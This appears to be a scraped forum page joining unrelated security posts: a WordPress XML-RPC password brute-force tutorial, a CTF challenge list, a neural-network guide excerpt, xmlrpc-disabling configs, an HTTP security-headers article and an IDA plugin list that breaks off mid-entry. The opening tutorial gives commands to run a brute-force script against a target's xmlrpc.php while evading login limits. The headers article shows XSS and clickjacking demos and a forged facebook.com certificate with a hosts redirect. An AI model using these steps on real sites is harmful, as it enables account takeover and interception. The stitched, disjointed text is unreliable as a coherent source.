Leaderboard

WordPress did not become what is arguably the most popular blogging and CMS platform on the planet because it was difficult to use. Rather, its user-friendly and rich feature set led to it finding a home on somewhere north of 70 million websites—and that's just counting blogs hosted on WordPress.com. Today, we're interested in the platform's use of XML-RPC, a remote procedure call (RPC) allowing for encoded XML calls that are transported via the HTTP protocol. This makes it very, very easy for WordPress contributors to post content remotely, and makes it trivial to post a large volume of data in a one-time push. But that ability to push a large amount of data means that we hackers can also push a large number of passwords at it. Sure, you're essentially brute-forcing your way into someone's WordPress account, but those 500 tries just look like you fat-fingered your password once. Two times? You just tried a thousand passwords. This sure beats trying one password per login attempt. This exploit first turned up in September, 2015, and is one of many that went through XML-RPC. WordPress is good with patching these types of exploits, so many installs from WordPress 4.4.1 onward are now immune to this hack. However, you know a large number of those 70+ million are either older versions or unpatched—and are vulnerable to your password file. Let's get started. Step 1. Testing for the Vulnerability First, if you've got WordPress running locally or on a virtual machine, you should check out the base install directory. We're interested in the xmlrpc.php file you might see there, because that mean's it's open to this attack. You can also just try your site, followed by /xmlrpc.php, like I did below on my local WordPress (substitute "localhost" with your URL name for websites). If XML-RPC is listening, or is there, it will tell you so. Looks like we found a potentially vulnerable blog (it would say "forbidden" or something like that otherwise). Without getting too deep into the weeds, XML-RPC works with the WordPress system.multicall functionality, which hints at the way you can direct a lot of information at the site at one time, say during content upload or retrieval of all recent posts. This exploit takes advantage of the way content or, in this case, passwords are thrown at the login in great numbers without raising too many eyebrows. Logging in one time, WP is just passing an XML file with a string for your login name and a string for your password. <string>admin</string> <string>MyPassword</string> When you attempt to log into WordPress, your username/passwords are tracked as follows: It's one-to-one, in other words. You might notice if someone was trying to log in every few seconds for hours, or you might have a tool set up to restrict incorrect logins. That's all sensible WordPress security. But concerning this article, if you combine XML-RPC with system.multicall, you can essentially throw hundreds of logins at WordPress concurrently, but only have those login attempts show as one login as above. This would raise no flags, right? Step 2. Hacking into the Server Below is an example of how this looks in XML format. The highlighted section is just one password try, so you'd have to repeat that section for multiple tries with different passwords. As you can imagine, this would take a serious amount of time doing them one by one. To speed up this process, we're going to use a script found on GitHub that reads our password list and auto loops the highlighted section above with a new password from the password list in each section. So, head to the https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit on GitHub and download the files via the HTTP link. (Download the ZIP, or Git if you're into that.) Open up a terminal window and cd to wherever you downloaded the file, then unzip the files in place: unzip Wordpress-XMLRPC-Brute-Force-Exploit-master.zip Then change into that directory: cd Wordpress-XMLRPC-Brute-Force-Exploit-master While you're in there, it won't hurt to change the permissions on the Python file to make sure we don't run into any problems running it. The "7" you're assigning means you will be able to do anything you want with the file. chmod 755 wordpress-xmlrpc-brute.py Now run the Python command alone, and check out the instructions. ./wordpress-xmlrpc-brute.py I've highlighted the instructions in blue. For localhost, that's: ./wordpress-xmlrpc-brute.py http://localhost/xmlrpc.php passwords.txt username In order, that means the Python file name, then server name, then password file name, and then username. Here, we're using the passwords.txt file included in the GitHub download (which only has a small amount of passwords in it), and we're trying admin as username. If you want to use your own password list, just include it in your command instead, and use whatever username you think appropriate—this tool only deals with the passwords. So when you run the above with your target server name in place of "localhost," your password file, and your username, the Python script will run through the included passwords.txt file and will run in the largely undetected way. If successful, the script will spit out your login, in the form of username/password. Guarding Against This Exploit Guarding against the XML-RPC vulnerability is easy—newer versions don't include the functionality at all. That said, many third-party WordPress publishing tools such as Jetpack, and smart phone apps such as IFTTT, might require XML-RPC use, so even some current WordPress installs have been retrofitted with the vulnerable code and are therefore open to intrusion. Check your own WordPress installs, and make sure that if integrating any new tool which allows interaction with WP from a remote standpoint, that you haven't opened the door to the XML-RPC intrusion or any other intrusions. This is one of many WordPress vulnerabilities, and this easy script attack is a good starting point into your research. Source

Avand in vedere lipsa de activitate la aceasta sectiune, am decis sa deschid acest thread, care probabil va fi urmat de altele daca este primit cu bine Scopul este sa invatati ceva din discutiile ce vor urma si din writeup-urile postate, nu sa concurati intre voi. Link: http://hackvent.hacking-lab.com/index.php Day 01: Detours Santa receives an email with links to three pictures, but every picture is the same. He talks with some of his elves and one says, that there is some weird stuff happening when loading these pictures. Can you identify it? Link 1: http://ow.ly/unCT306N19f Link 2: http://ow.ly/xW3h306N18f Link 3: http://ow.ly/3wfc306N10K Day 02: Free Giveaway Today, Santa has a free giveaway for you: DK16[OEdo[''lu[;"Nl[R"D4[2Qmi Day 03: Manufactory Today's gift is ready to be manufactured, but Santa's afraid that his factory won't manage to do a production run before christmas. But perhaps you can create it yourself? Link: http://hackvent.hacking-lab.com/instructions Day 04: Language Of Us You all should know this language, but this one is not that consequent as it should be. Link: http://hackvent.hacking-lab.com/the-text.txt Day 05: Boolean Fun Santa found a paper with some strange logical stuff on it. On the back of it there is the hint: "use 32 bit". He has no clue what this means - can you show him, what "???" should be? Image: http://hackvent.hacking-lab.com/everyBitIsImportant.png Link (needed for the 'flag'): http://hackvent.hacking-lab.com/challenge.php?day=5 Day 06: Back 2 Work Greetings from Thumper, he has an order for you: 1. unzip: the password is confidential 2. find the flag 3. look at my holiday pictures Comment: Be aware, the pictures are only supplement. Link: http://hackvent.hacking-lab.com/holiday.zip Day 07: TrivialKRYPTO 1.42 Today's present is encrypted. Luckily Santa did not use Kryptochef's KRYPTO 2.0 so there might be a slight chance of recovering it? Link: http://hackvent.hacking-lab.com/trivialcrypt.html Day 08: Lost In Encoding Santa and his elves do not know good encryption, all they have heard about are some basic encodings. Unfortunately they all are bungling and forgotten the recipe. It's now on you, who has to get it up. Link: http://hackvent.hacking-lab.com/l0st_1n_7ranslation.fun Day 09: Illegal Prime Number I've heard something about illegal prime numbers... Maybe this number contains the flag: 4315891123054519227800425234439024406406805990983946954154956695012431283551657417585179574642755601169096280017484467053951914982126613234225200384245049037787654523558017678649278076716108200271927575791497929092184238813619846729315518237924881623603111094979071286017407153529043066655388316378457694291590703681341752561492723137474482263373673210248633961843479034160811982934510083276506238457901538373531195688165166964398815874378480986164601388393975141268984935852959700100872597068350527482364309 Day 10: I want to play a Game Reversing Day 1: we'll start with an easy one. Link: http://hackvent.hacking-lab.com/ReGame_Part1.zip Rezolvari (+ writeups): Discutati, rezolvati, postati ceea ce gasiti, etc. Va rog sa folositi spoilere in toate discutiile referitoare la rezolvarea unui challenge.

Hacker's guide to Neural Networks Hi there, I’m a CS PhD student at Stanford. I’ve worked on Deep Learning for a few years as part of my research and among several of my related pet projects is ConvNetJS - a Javascript library for training Neural Networks. Javascript allows one to nicely visualize what’s going on and to play around with the various hyperparameter settings, but I still regularly hear from people who ask for a more thorough treatment of the topic. This article (which I plan to slowly expand out to lengths of a few book chapters) is my humble attempt. It’s on web instead of PDF because all books should be, and eventually it will hopefully include animations/demos etc. My personal experience with Neural Networks is that everything became much clearer when I started ignoring full-page, dense derivations of backpropagation equations and just started writing code. Thus, this tutorial will contain very little math (I don’t believe it is necessary and it can sometimes even obfuscate simple concepts). Since my background is in Computer Science and Physics, I will instead develop the topic from what I refer to as hackers’s perspective. My exposition will center around code and physical intuitions instead of mathematical derivations. Basically, I will strive to present the algorithms in a way that I wish I had come across when I was starting out. “…everything became much clearer when I started writing code.” You might be eager to jump right in and learn about Neural Networks, backpropagation, how they can be applied to datasets in practice, etc. But before we get there, I’d like us to first forget about all that. Let’s take a step back and understand what is really going on at the core. Lets first talk about real-valued circuits. Update note: I suspended my work on this guide a while ago and redirected a lot of my energy to teaching CS231n (Convolutional Neural Networks) class at Stanford. The notes are on cs231.github.io and the course slides can be found here. These materials are highly related to material here, but more comprehensive and sometimes more polished. Articol complet: https://karpathy.github.io/neuralnets/

For wordpress 3.5 (functions.php from your template) add_filter('xmlrpc_enabled', '__return_false'); Disable xmlrpc in nginx: location = /xmlrpc.php { return 444; } Disable xmlrpc in apache (htaccess): <Files "xmlrpc.php"> order deny,allow deny from all </Files> Using a module - https://de.wordpress.org/plugins/disable-xml-rpc-pingback/

Exotic HTTP Headers Exploration of HTTP security and other non-typical headers Last updated on December 9, 2016 Table of Contents X-XSS-Protection No header X-XSS-Protection: 0 X-XSS-Protection: 1 X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; report=http://localhost:1234/report X-Frame-Options No header X-Frame-Options: deny X-Frame-Options: sameorigin X-Frame-Options: allow-from http://localhost:4321 X-Content-Type-Options No header X-Content-Type-Options: nosniff Content-Security-Policy No header Content-Security-Policy: default-src 'none' Content-Security-Policy: default-src 'self' Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' Other Strict-Transport-Security Public-Key-Pins Content-Encoding: br Timing-Allow-Origin Alt-Svc P3P X-XSS-Protection Cross-Site Scripting (XSS) is an attack in which malicious scripts can be injected on a page. For example: <h1>Hello, <script>alert('hacked')</script></h1> This is a pretty obvious attack and something that browsers can block: if you find a part of the request in the source code, it might be an attack. The X-XSS-Protection controls this behavior. Values: 0 Filter disabled. 1 Filter enabled. If a cross-site scripting attack is detected, in order to stop the attack, the browser will sanitize the page. 1; mode=block Filter enabled. Rather than sanitize the page, when a XSS attack is detected, the browser will prevent rendering of the page. 1; report=http://domain/url Filter enabled. The browser will sanitize the page and report the violation. This is a Chromium function utilizing CSP violation reports to send details to a URI of your choice. Let's create a simple web server with node.js to play with this. var express = require('express') var app = express() app.use((req, res) => { if (req.query.xss) res.setHeader('X-XSS-Protection', req.query.xss) res.send(`<h1>Hello, ${req.query.user || 'anonymous'}</h1>`) }) app.listen(1234) I am using Google Chrome 55. No header http://localhost:1234/?user= Nothing happens. The browser successfully prevented this attack. This is the default behavior in Chrome if no header is set, as you can see in the error message in the Console. It even helpfully highlights it in the source. X-XSS-Protection: 0 http://localhost:1234/?user= &xss=0 Oh no! X-XSS-Protection: 1 http://localhost:1234/?user= &xss=1 The attack was successfully blocked by sanitizing the page because of our explicit header. X-XSS-Protection: 1; mode=block http://localhost:1234/?user= &xss=1; mode=block The attack is blocked by simply not rendering the page. X-XSS-Protection: 1; report=http://localhost:1234/report http://localhost:1234/?user= &xss=1; report=http://localhost:1234/report The attack is blocked and also reported to an address of our choice. X-Frame-Options This header allows you to prevent clickjack attacks. Imagine that an attacker has a YouTube channel and he needs subscribers. He can create a website with a button that says "Do not click" which means that everyone will definitely click on it. But there's a completely transparent iframe on top of the button. When you click the button, you actually click on the Subscribe button on YouTube. If you were logged into YouTube, you will now be subscribed to the attacker. Let's illustrate this. First, install the Ignore X-Frame headers extension. Create this HTML file. <style> button { background: red; color: white; padding: 10px 20px; border: none; cursor: pointer; } iframe { opacity: 0.8; z-index: 1; position: absolute; top: -570px; left: -80px; width: 500px; height: 650px; } </style> <button>Do not click his button!</button> <iframe src="https://youtu.be/dQw4w9WgXcQ?t=3m33s"></iframe> As you can see, I have cleverly positioned the viewport of the iframe to the Subscribe button. The iframe is on top of the button (z-index: 1) so when you try to click the button you click on the iframe instead. In this example, the iframe is not completely hidden but I could do that with opacity: 0. In practice, this does not work because you are not logged into YouTube, but you get the idea. You can prevent your website from being embedded as an iframe with the X-Frame-Options header. Values deny No rendering within a frame. sameorigin No rendering if origin mismatch. allow-from: DOMAIN Allows rendering if framed by frame loaded from DOMAIN. We are going to use this webserver for experiments. var express = require('express') for (let port of [1234, 4321]) { var app = express() app.use('/iframe', (req, res) => res.send(`<h1>iframe</h1><iframe src="//localhost:1234?h=${req.query.h || ''}"></iframe>`)) app.use((req, res) => { if (req.query.h) res.setHeader('X-Frame-Options', req.query.h) res.send('<h1>Website</h1>') }) app.listen(port) } No header Everyone can embed our website at localhost:1234 in an iframe. http://localhost:1234/iframe http://localhost:4321/iframe X-Frame-Options: deny No one can embed our website at localhost:1234 in an iframe. http://localhost:1234/iframe?h=deny http://localhost:4321/iframe?h=deny X-Frame-Options: sameorigin Only we can embed our website at localhost:1234 in an iframe on our website. An origin is defined as a combination of URI scheme, hostname, and port number. http://localhost:1234/iframe?h=sameorigin http://localhost:4321/iframe?h=sameorigin X-Frame-Options: allow-from http://localhost:4321 It looks like Google Chrome ignores this directive because you can use Content Security Policy (see below). Invalid 'X-Frame-Options' header encountered when loading 'http://localhost:1234/?h=allow-from%20http://localhost:4321': 'allow-from http://localhost:4321' is not a recognized directive. The header will be ignored. It also had no effect in Microsoft Edge. Here's Mozilla Firefox. http://localhost:1234/iframe?h=allow-from http://localhost:4321 http://localhost:4321/iframe?h=allow-from http://localhost:4321 X-Content-Type-Options This header prevents MIME confusion attacks (<script src="script.txt">) and unauthorized hotlinking (<script src="https://raw.githubusercontent.com/user/repo/branch/file.js">). var express = require('express') var app = express() app.use('/script.txt', (req, res) => { if (req.query.h) res.header('X-Content-Type-Options', req.query.h) res.header('content-type', 'text/plain') res.send('alert("hacked")') }) app.use((req, res) => { res.send(`<h1>Website</h1><script src="/script.txt?h=${req.query.h || ''}"></script>`) }) app.listen(1234) No header http://localhost:1234/ Even though script.txt is a text file with the content type of text/plain it was still executed as if it was a piece of JavaScript. X-Content-Type-Options: nosniff http://localhost:1234/?h=nosniff This time the content types do not match and the file was not executed. Content-Security-Policy The new Content-Security-Policy (CSP) HTTP response header helps you reduce XSS risks on modern browsers by declaring what dynamic resources are allowed to load via a HTTP Header. You can ask the browser to ignore inline JavaScript and load JavaScript files only from your domain, for example. Inline JavaScript can be not only <script>...</script> but also <h1 onclick="...">. Let's see how it works. var request = require('request') var express = require('express') for (let port of [1234, 4321]) { var app = express() app.use('/script.js', (req, res) => { res.send(`document.querySelector('#${req.query.id}').innerHTML = 'changed by ${req.query.id} script'`) }) app.use((req, res) => { var csp = req.query.csp if (csp) res.header('Content-Security-Policy', csp) res.send(` <html> <body> <h1>Hello, ${req.query.user || 'anonymous'}</h1> <p id="inline">is this going to be changed by inline script?</p> <p id="origin">is this going to be changed by origin script?</p> <p id="remote">is this going to be changed by remote script?</p> <script>document.querySelector('#inline').innerHTML = 'changed by inline script'</script> <script src="/script.js?id=origin"></script> <script src="//localhost:1234/script.js?id=remote"></script> </body> </html> `) }) app.listen(port) } No header http://localhost:4321 It works like you would normally expect it to. Content-Security-Policy: default-src 'none' http://localhost:4321/?csp=default-src 'none'&user= default-src applies to all resources (images, scripts, frames, etc.) and the value of 'none' doesn't allow anything. We can see it in action here, along with very helpful error messages. Chrome refused to load or execute any of the scripts. It also tried to load favicon.ico even though it's also prohibited. Content-Security-Policy: default-src 'self' http://localhost:4321/?csp=default-src 'self'&user= Now we can load scripts from our origin, but still no remote or inline scripts. Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' http://localhost:4321/?csp=default-src 'self'; script-src 'self' 'unsafe-inline'&user= This time we also allow inline scripts to run. Note that our XSS attack was also prevented. But not when you allow unsafe-inline and set X-XSS-Protection: 0 at the same time. Other content-security-policy.com has nicely formatted examples. default-src 'self' allows everything but only from the same origin script-src 'self' www.google-analytics.com ajax.googleapis.com allows Google Analytics, Google AJAX CDN and Same Origin default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self'; allows images, scripts, AJAX, and CSS from the same origin, and does not allow any other resources to load (eg object, frame, media, etc). It is a good starting point for many sites. I have not tested this but I think that frame-ancestors 'none' should be equivalent to X-Frame-Options: deny frame-ancestors 'self' should be equivalent to X-Frame-Options: sameorigin frame-ancestors localhost:4321 should be equivalent to X-Frame-Options: allow-from http://localhost:4321 script-src 'self' i.e. without 'unsafe-inline' should be equivalent to X-XSS-Protection: 1 If you take a look at facebook.com and twitter.com headers, they use CSP a lot. Strict-Transport-Security HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol downgrade attacks. Let's say that you want to go to facebook.com. Unless you type https://, the default protocol is HTTP and the default port for HTTP is 80. So the request will be made to http://facebook.com. $ curl -I facebook.com HTTP/1.1 301 Moved Permanently Location: https://facebook.com/ And then you are redirected to the secure version of Facebook. If you were connected to a public WiFi that an attacker is running, they could hijack this request and serve their own webpage that looks identical to facebook.com and collect your password. What you can do to prevent this is to use this header to tell that the next time the user wants to go to facebook.com, they should be taken to the https version instead. $ curl -I https://www.facebook.com/ HTTP/1.1 200 OK Strict-Transport-Security: max-age=15552000; preload If you logged into Facebook at home and then went to facebook.com on the insecure WiFi, you'd be safe because the browser remembers this header. But what if you used Facebook on the insecure network for the first time ever? Then you are not protected. To fix this, browsers ship with a hard-coded list of domains known as the HSTS preload list that includes the most popular domain names that are HTTPS only. If you want to, you could try to submit your own here. It's also a handy website for testing if your site is using this header correctly. Yeah, I know, mine doesn't. Values, combination of, separated by ; max-age=15552000 The time, in seconds, that the browser should remember that this site is only to be accessed using HTTPS. includeSubDomains If this optional parameter is specified, this rule applies to all of the site's subdomains as well. preload If the site owner would like their domain to be included in the HSTS preload list maintained by Chrome (and used by Firefox and Safari). What if you need to switch back to HTTP before max-age or if you had preload? You are out of luck. This header is very strictly enforced. You'd need to ask all of your users to clear their browsing history and settings. Public-Key-Pins HTTP Public Key Pinning (HPKP) is a security mechanism which allows HTTPS websites to resist impersonation by attackers using mis-issued or otherwise fraudulent certificates. Values pin-sha256="<sha256>" The quoted string is the Base64 encoded Subject Public Key Information (SPKI) fingerprint. It is possible to specify multiple pins for different public keys. Some browsers might allow other hashing algorithms than SHA-256 in the future. max-age=<seconds> The time, in seconds, that the browser should remember that this site is only to be accessed using one of the pinned keys. includeSubDomains If this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri="<URL>" If this optional parameter is specified, pin validation failures are reported to the given URL. Instead of using a Public-Key-Pins header you can also use a Public-Key-Pins-Report-Only header. This header only sends reports to the report-uri specified in the header and does still allow browsers to connect to the webserver even if the pinning is violated. That is what Facebook is doing: $ curl -I https://www.facebook.com/ HTTP/1.1 200 OK ... Public-Key-Pins-Report-Only: max-age=500; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="q4PO2G2cbkZhZ82+JgmRUyGMoAeozA+BSXVXQWB8XWQ="; report-uri="http://reports.fb.com/hpkp/" Why do we need this? Isn't trusting Certificate Authorities enough? An attacker could create their own certificate for www.facebook.com and trick me into adding it to my trust root certificate store. Or it could be an administrator in your organization. Let's create a certificate for www.facebook.com. sudo mkdir /etc/certs echo -e 'US\nCA\nSF\nFB\nXX\nwww.facebook.com\nno@spam.org' | \ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout /etc/certs/facebook.key \ -out /etc/certs/facebook.crt And make it trusted on our computer. # curl sudo cp /etc/certs/*.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates # Google Chrome sudo apt install libnss3-tools -y certutil -A -t "C,," -n "FB" -d sql:$HOME/.pki/nssdb -i /etc/certs/facebook.crt # Mozilla Firefox #certutil -A -t "CP,," -n "FB" -d sql:`ls -1d $HOME/.mozilla/firefox/*.default | head -n 1` -i /etc/certs/facebook.crt Let's create our own web server that uses this certificate. var fs = require('fs') var https = require('https') var express = require('express') var options = { key: fs.readFileSync(`/etc/certs/${process.argv[2]}.key`), cert: fs.readFileSync(`/etc/certs/${process.argv[2]}.crt`) } var app = express() app.use((req, res) => res.send(`<h1>hacked</h1>`)) https.createServer(options, app).listen(443) Switch to our server. echo 127.0.0.1 www.facebook.com | sudo tee -a /etc/hosts sudo node server.js facebook Does it work? $ curl https://www.facebook.com <h1>hacked</h1> Good. curl validates certificates. Because I've visited Facebook before and Google Chrome has seen the header, it should report the attack but still allow it, right? Nope. Public-key pinning was bypassed by a local root certificate. Interesting. Alright, what about www.google.com? echo -e 'US\nCA\nSF\nGoogle\nXX\nwww.google.com\nno@spam.org' | \ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout /etc/certs/google.key \ -out /etc/certs/google.crt sudo cp /etc/certs/*.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates certutil -A -t "C,," -n "Google" -d sql:$HOME/.pki/nssdb -i /etc/certs/google.crt echo 127.0.0.1 www.google.com | sudo tee -a /etc/hosts sudo node server.js google Same. I guess this is a feature. Anyway, if you don't add these certificates to your store, you won't be able to visit these sites because the option to add an exception in Firefox or Proceed unsafely in Chrome are not available. Content-Encoding: br The content is compressed with Brotli. It promises better compression density and comparable decompression speed to gzip. It is supported by Google Chrome. Naturally, there is a node.js module for it. var shrinkRay = require('shrink-ray') var request = require('request') var express = require('express') request('https://www.gutenberg.org/files/1342/1342-0.txt', (err, res, text) => { if (err) throw new Error(err) var app = express() app.use(shrinkRay()) app.use((req, res) => res.header('content-type', 'text/plain').send(text)) app.listen(1234) }) Uncompressed: 700 KB Brotli: 204 KB Gzip: 241 KB Timing-Allow-Origin The Resource Timing API allows you to measure how long it takes to fetch resources on your page. Because timing information can be used to determine whether or not a user has previously visited a URL (based on whether the content or DNS resolution are cached), the standard deemed it a privacy risk to expose timing information to arbitrary hosts. <script> setTimeout(function() { console.log(window.performance.getEntriesByType('resource')) }, 1000) </script> <img src="http://placehold.it/350x150"> <img src="/local.gif"> It looks like you can get detailed timing information (domain lookup time, for example) only for resources that are on your origin unless the Timing-Allow-Origin is set. Here's how you can use it. Timing-Allow-Origin: * Timing-Allow-Origin: http://foo.com http://bar.com Alt-Svc Alternative Services allow an origin's resources to be authoritatively available at a separate network location, possibly accessed with a different protocol configuration. This one is used by Google: alt-svc: quic=":443"; ma=2592000; v="36,35,34" It means that the browser can use, if it wants to, the QUIC (Quick UDP Internet Connections) or HTTP over UDP protocol on port 443 for the next 30 days (max age is 2592000 seconds or 720 hours or 30 days). No idea what v stands for. Version? https://www.mnot.net/blog/2016/03/09/alt-svc https://ma.ttias.be/googles-quic-protocol-moving-web-tcp-udp/ P3P Here's a couple of P3P headers I've seen: P3P: CP="This is not a P3P policy! See https://support.google.com/accounts/answer/151657?hl=en for more info." P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Some browsers require third party cookies to use the P3P protocol to state their privacy practices. The organization that established P3P, the World Wide Web Consortium, suspended its work on this standard several years ago because most modern web browsers don't fully support P3P. As a result, the P3P standard is now out of date and doesn't reflect technologies that are currently in use on the web, so most websites currently don't have P3P policies. I did not do much research on this but it looks like this is needed for IE8 to accept 3rd party cookies. This is accepted by Internet Explorer. For example, IE's "high" privacy setting blocks all cookies from websites that do not have a compact privacy policy, but cookies accompanied by P3P non-policies like those above are not blocked. Sursa: https://peteris.rocks/blog/exotic-http-headers/

Functionalitate introdusa in ultimul update: https://rstforums.com/forum/leaderboard/

Invata mai bine cu ce se mananca linux. Arhitecturi, kernel modules, kernel sysinternals, securitate, daemoni, structura si pe cat posibil instaleaza-ti aplicatiile din surse la inceput. Cel putin, orienteaza-te sa faci lucruri la inceput. Nu iti pierde timpul cu stricatul.

si despre Ciolos.

Quick headers settings In Nginx, you can use more_set_headers and add_header (this is built by default) Examples: # example with more_set_headers more_set_headers "X-XSS-Protection: 1; mode=block"; more_set_headers "X-Frame-Options: sameorigin"; more_set_headers "X-Content-Type-Options: nosniff"; more_set_headers "X-Secure-Connection: true"; more_set_headers "Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'unsafe-inline' 'self' 'unsafe-eval' www.google-analytics.com ajax.google apis.com; img-src 'self' data: blob: filesystem: www.google-analytics.com;"; # examples with add_header add_header Strict-Transport-Security max-age=315360000; With "headers" module, in apache. You can activate headers module with a2enmod # in htaccess, global configuration, virtualhost configuration and per Directory. Header set X-Content-Type-Options: "nosniff" Header set X-XSS-Protection: "1; mode=block" Header set X-Frame-Options: "sameorigin" Also, you can use headers for security through obscurity # examples more_set_headers "Server: Apache Tomcat"; more_set_headers "X-Powered-By: JSP/2.3"; More resources: - https://www.html5rocks.com/en/tutorials/security/content-security-policy/ - https://www.w3.org/TR/CSP/#framework - http://www.dotnetnoob.com/2012/09/security-through-http-response-headers.html

Best IDA Plugins CyberPunk » Reverse Engineering The Interactive Disassembler, more commonly known as simply IDA, is a disassembler for computer software which generates assembly language source code from machine-executable code. It supports a variety of executable formats for different processors and operating systems. It also can be used as a debugger for Windows PE, Mac OS X Mach-O, and Linux ELF executables. A decompiler plug-in for programs compiled with a C/C++ compiler is available at extra cost. The latest full version of IDA Pro is commercial; while an earlier and less capable version is available for download free of charge (version 5.0 as of March 2015). IDA performs automatic code analysis, using cross-references between code sections, knowledge of parameters of API calls, and other information. However, the nature of disassembly precludes total accuracy, and a great deal of human intervention is necessarily required; IDA has interactive functionality to aid in improving the disassembly. A typical IDA user will begin with an automatically generated disassembly listing and then convert sections from code to data and vice versa, rename, annotate, and otherwise add information to the listing, until it becomes clear what it does. “IDC scripts” make it possible to extend the operation of the disassembler. 3DSX Loader IDA PRO Loader for 3DSX files Adobe Flash disassembler The 2 plugins present in this archive will enable IDA to parse SWF files, load all SWF tags as segments for fast search and retrieval, parse all tags that can potentially contain ActionScript2 code, discover all such code(a dedicated processor module has been written for it) and even name the event functions acording to event handled in it (eg. OnInitialize). Download Android Debugging This version have both support for native arm debugging via usb and sdk ADV manager. Android Scripts Collection Collection of Android reverse engineering scripts that make my life easier BinClone BinClone: detecting code clones in malware [SERE 2014] BinNavi BinNavi is a binary analysis IDE – an environment that allows users to inspect, navigate, edit, and annotate control-flow-graphs of disassembled code, do the same for the callgraph of the executable, collect and combine execution traces, and generally keep track of analysis results among a group of analysts. Bin Sourcerer BinSourcerer (a.k.a RE-Source Online) is an assembly to source code matching framework for binary auditing and malware analysis. Bootroom Analysis Library IBAL is the IDA Pro Bootrom Analysis Library, which contains a number of useful functions for analyzing embedded ROMs. Bosch ME7 Siemens Bosch ME7.x Disassembler Helper for IDA Pro collabREate collabREate is a plugin for IDA Pro that is designed to provide a collaborative reverse engineering capability for multiple IDA users working on the same binary file. Class Informer Scans an MSVC 32bit target IDB for vftables with C++ RTTI, and MFC RTCI type data. Places structure defs, names, labels, and comments to make more sense of class vftables (“Virtual Function Table”) and make them read easier as an aid to reverse engineering. Creates a list window with found vftables for browsing. Crowd Detox The CrowdDetox plugin for Hex-Rays automatically removes junk code and variables from Hex-Rays function decompilations. Dalvik Header This is a simple Dalvik header plugin for IDA Pro Data Xref Counter Enumerates all of the the x-references in a specific segment and counts the frequency of usage. The plugin displays the data in QtTableWidget and lets the user filter and sort the references. You can also export the data to a CSV file. Diaphora Diaphora (διαφορά, Greek for ‘difference’) is a program diffing plugin for IDA Pro, similar to Zynamics Bindiff or the FOSS counterparts DarunGrim, TurboDiff, etc… It was released during SyScan 2015. DOXBox Debugger Eric Fry’s IDA/DOSBox debugger plugin DWARF Plugin IDADWARF is an IDA plugin that imports DWARF debugging symbols into an IDA database. Download Dynamic IDA Enrichment DIE is an IDA python plugin designed to enrich IDA`s static analysis with dynamic data. This is done using the IDA Debugger API, by placing breakpoints in key locations and saving the current system context once those breakpoints are hit. EFI Scripts Some IDA scripts and tools to assist with reverse engineering EFI executables. EtherAnnotate Parses the specialized instruction trace files that are generated using the EtherAnnotate Xen modification (http://github.com/inositle/etherannotate_xen). From the instruction trace, register values and code coverage of the run-time information are visualized in IDA Pro through instruction comments and line colorations. Extract Macho-O This is a very simple IDA plugin to extract all Mach-O binaries contained anywhere in the disassembly. Flare Plugins Shellcode Hashes, Struct Typer, StackStrings, MSDN Annotations, ApplyCalleType FLS Loader IDA Pro loader module for IFX iPhone baseband firmwares. Based on a universal scatter loader script by roxfan. Frida This is plugin for ida pro thar uses the Frida api. Mainly trace functions. Funcap This script records function calls (and returns) across an executable using IDA debugger API, along with all the arguments passed. It dumps the info to a text file, and also inserts it into IDA’s inline comments. This way, static analysis that usually follows the behavioral runtime analysis when analyzing malware, can be directly fed with runtime info such as decrypted strings returned in function’s arguments. Function Tagger This IDAPython script tags subroutines according to their use of imported functions Gamecube Extension This is a Gekko CPU Paired Single extension instructions plug-in for IDA Pro 5.2 Gamecube DSP This project adds support for the DSP present in the Gamecube and the Wii to IDA, the Interactive Disassembler [1]. This allows easy analyze of a DSP ucode, handling cross-references, control flow, and so on. Graph Slick Automated detection of inlined functions. It highlights similar groups of nodes and allows you to group them, simplifying complex functions. The authors provide an accompanying presentation which explains the algorithms behind the plugin and shows sample use cases. HexRays CodeXplorer The Hex-Rays Decompiler plugin for better code navigation in RE process. CodeXplorer automates code REconstruction of C++ applications or modern malware like Stuxnet, Flame, Equation, Animal Farm … HexRays Tools Assist in creation of new structure definitions / virtual calls detection Jump directly to virtual function or structure member definition Gives list of structures with given size, with given offset Finds structures with same “shape” as is used. convert function to __usercall or __userpurge and more…. IDA2SQL As the name implies this plugin can be used to export information from IDA databases to SQL databases. This allows for further analysis of the collected data: statstical analysis, building graphs, finding similarities between programs, etc. IDA C# Scripting IDA with C# IDA Compare IDA disassembly level diffing tool, find patches and modifications between malware variants. See mydoom A/B sample database and video trainer for usage. IDA Eye Plugin that enables you to perform different operations at the mnemonic level, independent of any particular processor type. These operations are facilitated through a parameterized template, which include the capabilities to de/highlight instructions, gather statistical information about the frequency of each instruction, and search for sequences of mnemonics, among other features. IDA Extrapass An IDA Pro Win32 target clean up plug-in by Sirmabus. It does essentially four cleaning/fixing steps: Convert stray code section values to “unknown”, fix missing “align” blocks, fix missing code bytes, and locate and fix missing/undefined functions. IDA Patchwork Stitching against malware families with IDA Pro (tool for the talk at Spring9,https://spring2014.gdata.de/spring2014/programm.html). In essence, I use a somewhat fixed / refurbished version of PyEmu along IDA to demonstrate deobfuscation of the different patterns found in the malware family Nymaim. IDA Rest A simple REST-like API for basic interoperability with IDA Pro. IDA Scope IDAscope is an IDA Pro extension with the goal to ease the task of (malware) reverse engineering with a current focus on x86 Windows. It consists of multiple tabs, containing functionality to achieve different goals such as fast identification of semantically interesting locations in the analysis target, seamless access to MSDN documentation of Windows API, and finding of potential crypto/compression algorithms. IDA Signature Matching Tool Tool for searching signatures inside files, extremely useful as help in reversing jobs like figuring or having an initial idea of what encryption/compression algorithm is used for a proprietary 